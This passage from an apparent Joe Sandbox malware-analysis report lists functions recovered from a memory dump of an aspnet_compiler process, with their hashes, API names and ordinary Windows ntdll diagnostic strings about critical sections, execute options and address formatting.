                  • Opcode ID: 614dc0bfb93aa0b347b32f704f8c35ac257e8ad9d88fde1976a949fff0eed3b3
                  • Instruction ID: c164b3e90e664baf9efa8afa7e33de3550cf97230e246d936597df8aac0599bb
                  • Opcode Fuzzy Hash: 614dc0bfb93aa0b347b32f704f8c35ac257e8ad9d88fde1976a949fff0eed3b3
                  • Instruction Fuzzy Hash: 6451F7B6A0451ABFCF11DB9C888097FFBB8BB18248B50C129F4A5D7641E334EE1087E0
                  Function 01402410 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 189COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID: ___swprintf_l
                  • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                  • API String ID: 48624451-2108815105
                  • Opcode ID: 4b0d616b84fa41d09e0c3677f7fd44f6cc3624208b08034616816408f549237f
                  • Instruction ID: 07870d4b69bb9f2da438649abf5535cad648d524ddbde6ccdb985888fa22b4ac
                  • Opcode Fuzzy Hash: 4b0d616b84fa41d09e0c3677f7fd44f6cc3624208b08034616816408f549237f
                  • Instruction Fuzzy Hash: 4951F471A00656ABDB22DE5EC994C7FBBF8EB44204B44847BE4D6D37D1E6B4EA008760
                  Function 01387630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON
                  Download Yara Rule
                  Strings
                  • ExecuteOptions, xrefs: 013C46A0
                  • CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 013C4725
                  • CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 013C4742
                  • CLIENT(ntdll): Processing section info %ws..., xrefs: 013C4787
                  • CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 013C4655
                  • CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 013C46FC
                  • Execute=1, xrefs: 013C4713
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
                  • API String ID: 0-484625025
                  • Opcode ID: f07529de605c541f18efc3c852c2f32e310acf8306fb17c7455b192a829a9e73
                  • Instruction ID: 9835da84f7a9f607c2d03c9e8ac3943d1c4a16c4ffbbfedaaf52e294a5a373a8
                  • Opcode Fuzzy Hash: f07529de605c541f18efc3c852c2f32e310acf8306fb17c7455b192a829a9e73
                  • Instruction Fuzzy Hash: 125127356003096AEF20BBA8DC95FBA77A9AF5471CF1400A9E605A7290EB709E45CF50
                  Function 0139B5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID: __aulldvrm
                  • String ID: +$-$0$0
                  • API String ID: 1302938615-699404926
                  • Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                  • Instruction ID: 02f15e79515ceb51fdbb22f5ed44dd524b90f8e55534d37adf7c6024477003f6
                  • Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                  • Instruction Fuzzy Hash: 3381D470E052499EEF25CE6CE891FFEFFB1AF45368F184219D851A7299C7349840CB91
                  Function 0137F5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON
                  Download Yara Rule
                  Strings
                  • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 013C02BD
                  • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 013C02E7
                  • RTL: Re-Waiting, xrefs: 013C031E
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
                  • API String ID: 0-2474120054
                  • Opcode ID: 8e701be2e5952bef4c32a3215871c5848667e0fc01f0b3dda4527840f62e7814
                  • Instruction ID: b2b41c9d531f0598e04ccfd4606c7f78b98952e9665d232f78eaaec3cbd697b1
                  • Opcode Fuzzy Hash: 8e701be2e5952bef4c32a3215871c5848667e0fc01f0b3dda4527840f62e7814
                  • Instruction Fuzzy Hash: B5E1CE34604781DFE725CF2CC884B2ABBE9BB84728F140A1DF5A58B6E1D778D845CB42
                  Function 0138BED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON
                  Download Yara Rule
                  Strings
                  • RTL: Resource at %p, xrefs: 013C7B8E
                  • RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 013C7B7F
                  • RTL: Re-Waiting, xrefs: 013C7BAC
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                  • API String ID: 0-871070163
                  • Opcode ID: abdbe22b9c065aef29638ac6744bc6bed9125c1afc3d0d51e67bb6bcc605dccc
                  • Instruction ID: e0ecd2604163cb0332a78b723ae71ed810b5c15bae7f25abebc27a9366e7efd8
                  • Opcode Fuzzy Hash: abdbe22b9c065aef29638ac6744bc6bed9125c1afc3d0d51e67bb6bcc605dccc
                  • Instruction Fuzzy Hash: 0141E1353007039FDB21EF29D840B6AB7E5EF98718F000A1DF95ADB680DB71E8098B91
                  Function 0138B4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON
                  Download Yara Rule
                  APIs
                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 013C728C
                  Strings
                  • RTL: Resource at %p, xrefs: 013C72A3
                  • RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 013C7294
                  • RTL: Re-Waiting, xrefs: 013C72C1
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                  • String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                  • API String ID: 885266447-605551621
                  • Opcode ID: deb77a2354578e3d5fc303242b3e2d8ad56ad1f563280d06c834e0ccce881144
                  • Instruction ID: d89f21c7ea50b30e9d3d88a68035c4559798781ffb03bc75266e8edac327d93a
                  • Opcode Fuzzy Hash: deb77a2354578e3d5fc303242b3e2d8ad56ad1f563280d06c834e0ccce881144
                  • Instruction Fuzzy Hash: 8941F235700707ABDB20DF29CC41B66B7A6FB94B18F14061DFD55AB640DB31E8028BD1
                  Function 01402300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID: ___swprintf_l
                  • String ID: %%%u$]:%u
                  • API String ID: 48624451-3050659472
                  • Opcode ID: 8bb1db3b8de74a6a604878c0a4cb241c354451397928c3e7c1d7ea9d66e8cdb1
                  • Instruction ID: 15c6f4a5f14cf09192b6a6d7bffb2ab9881f0b7e8d2b2b402fb6bf50e41c0503
                  • Opcode Fuzzy Hash: 8bb1db3b8de74a6a604878c0a4cb241c354451397928c3e7c1d7ea9d66e8cdb1
                  • Instruction Fuzzy Hash: C731A7726001299FDB61DF3DCC44FEFB7F8EB44614F444466E949E3280EB70AA448B60
                  Function 01397D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID: __aulldvrm
                  • String ID: +$-
                  • API String ID: 1302938615-2137968064
                  • Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                  • Instruction ID: 0e55a7290639afee77711aa383ce3d25e5106acc39c4f820bc8f162f84f5aa2e
                  • Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                  • Instruction Fuzzy Hash: 1191B471E2020A9BEF24DF6DC8816BEBBA5FF84728F14451AE956E72C0E73089458F11
                  Function 01359126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: $$@
                  • API String ID: 0-1194432280
                  • Opcode ID: cef30475f265ff242d76c68c05629e62894d89aa9ace95b26aba0f9d523beae0
                  • Instruction ID: 7f0e4cd687eeac809c9956c413070de4c856c6c8b2b4a2a387200c390fea2c65
                  • Opcode Fuzzy Hash: cef30475f265ff242d76c68c05629e62894d89aa9ace95b26aba0f9d523beae0
                  • Instruction Fuzzy Hash: 44812C71D00269DBDB35CB58CC44BEEB7B8AB48758F0141DAEA19B7640E7705E84CFA0